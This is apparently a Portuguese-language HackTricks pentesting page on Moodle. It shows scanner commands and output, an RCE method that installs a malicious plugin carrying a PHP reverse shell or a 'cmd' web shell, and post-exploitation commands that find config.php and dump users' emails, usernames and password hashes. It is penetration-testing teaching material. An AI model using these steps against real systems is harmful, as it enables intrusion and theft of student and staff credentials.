mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-24 03:53:29 +00:00
135 lines
6.2 KiB
Markdown
135 lines
6.2 KiB
Markdown
# Moodle
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{% hint style="success" %}
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Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
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* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
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</details>
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{% endhint %}
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{% endhint %}
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<figure><img src="../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
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**Dica de bug bounty**: **inscreva-se** no **Intigriti**, uma plataforma premium de **bug bounty criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje e comece a ganhar recompensas de até **$100,000**!
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{% embed url="https://go.intigriti.com/hacktricks" %}
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## Scans Automáticos
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### droopescan
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```bash
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pip3 install droopescan
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droopescan scan moodle -u http://moodle.example.com/<moodle_path>/
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[+] Plugins found:
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forum http://moodle.schooled.htb/moodle/mod/forum/
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http://moodle.schooled.htb/moodle/mod/forum/upgrade.txt
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http://moodle.schooled.htb/moodle/mod/forum/version.php
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[+] No themes found.
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[+] Possible version(s):
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3.10.0-beta
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[+] Possible interesting urls found:
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Static readme file. - http://moodle.schooled.htb/moodle/README.txt
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Admin panel - http://moodle.schooled.htb/moodle/login/
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[+] Scan finished (0:00:05.643539 elapsed)
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```
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### moodlescan
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```bash
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#Install from https://github.com/inc0d3/moodlescan
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python3 moodlescan.py -k -u http://moodle.example.com/<moodle_path>/
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Version 0.7 - Dic/2020
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.............................................................................................................
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By Victor Herrera - supported by www.incode.cl
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.............................................................................................................
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Getting server information http://moodle.schooled.htb/moodle/ ...
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server : Apache/2.4.46 (FreeBSD) PHP/7.4.15
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x-powered-by : PHP/7.4.15
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x-frame-options : sameorigin
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last-modified : Wed, 07 Apr 2021 21:33:41 GMT
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Getting moodle version...
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Version found via /admin/tool/lp/tests/behat/course_competencies.feature : Moodle v3.9.0-beta
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Searching vulnerabilities...
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Vulnerabilities found: 0
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Scan completed.
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```
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### CMSMap
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```bash
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pip3 install git+https://github.com/dionach/CMSmap.git
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cmsmap http://moodle.example.com/<moodle_path>
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```
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### CVEs
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Eu descobri que as ferramentas automáticas são bastante **inúteis para encontrar vulnerabilidades que afetam a versão do moodle**. Você pode **verificar** por elas em [**https://snyk.io/vuln/composer:moodle%2Fmoodle**](https://snyk.io/vuln/composer:moodle%2Fmoodle)
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## **RCE**
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Você precisa ter a função de **gerente** e você **pode instalar plugins** na aba **"Administração do site"**\*\*:\*\*
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.png>)
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Se você for gerente, pode ainda precisar **ativar esta opção**. Você pode ver como no PoC de escalonamento de privilégios do moodle: [https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321).
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Então, você pode **instalar o seguinte plugin** que contém o clássico pentest-monkey php r**ev shell** (_antes de enviá-lo, você precisa descompactá-lo, mudar o IP e a porta do revshell e compactá-lo novamente_)
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{% file src="../../.gitbook/assets/moodle-rce-plugin.zip" %}
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Ou você poderia usar o plugin de [https://github.com/HoangKien1020/Moodle\_RCE](https://github.com/HoangKien1020/Moodle\_RCE) para obter um shell PHP regular com o parâmetro "cmd".
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Para acessar e lançar o plugin malicioso, você precisa acessar:
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```bash
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http://domain.com/<moodle_path>/blocks/rce/lang/en/block_rce.php?cmd=id
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```
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## POST
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### Encontrar credenciais do banco de dados
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```bash
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find / -name "config.php" 2>/dev/null | grep "moodle/config.php"
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```
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### Extrair Credenciais do banco de dados
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```bash
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/usr/local/bin/mysql -u <username> --password=<password> -e "use moodle; select email,username,password from mdl_user; exit"
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```
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<figure><img src="../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
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**Dica de bug bounty**: **inscreva-se** na **Intigriti**, uma plataforma premium de **bug bounty criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje e comece a ganhar recompensas de até **$100,000**!
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{% embed url="https://go.intigriti.com/hacktricks" %}
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{% hint style="success" %}
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Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
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* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
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</details>
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{% endhint %}
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</details>
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{% endhint %}
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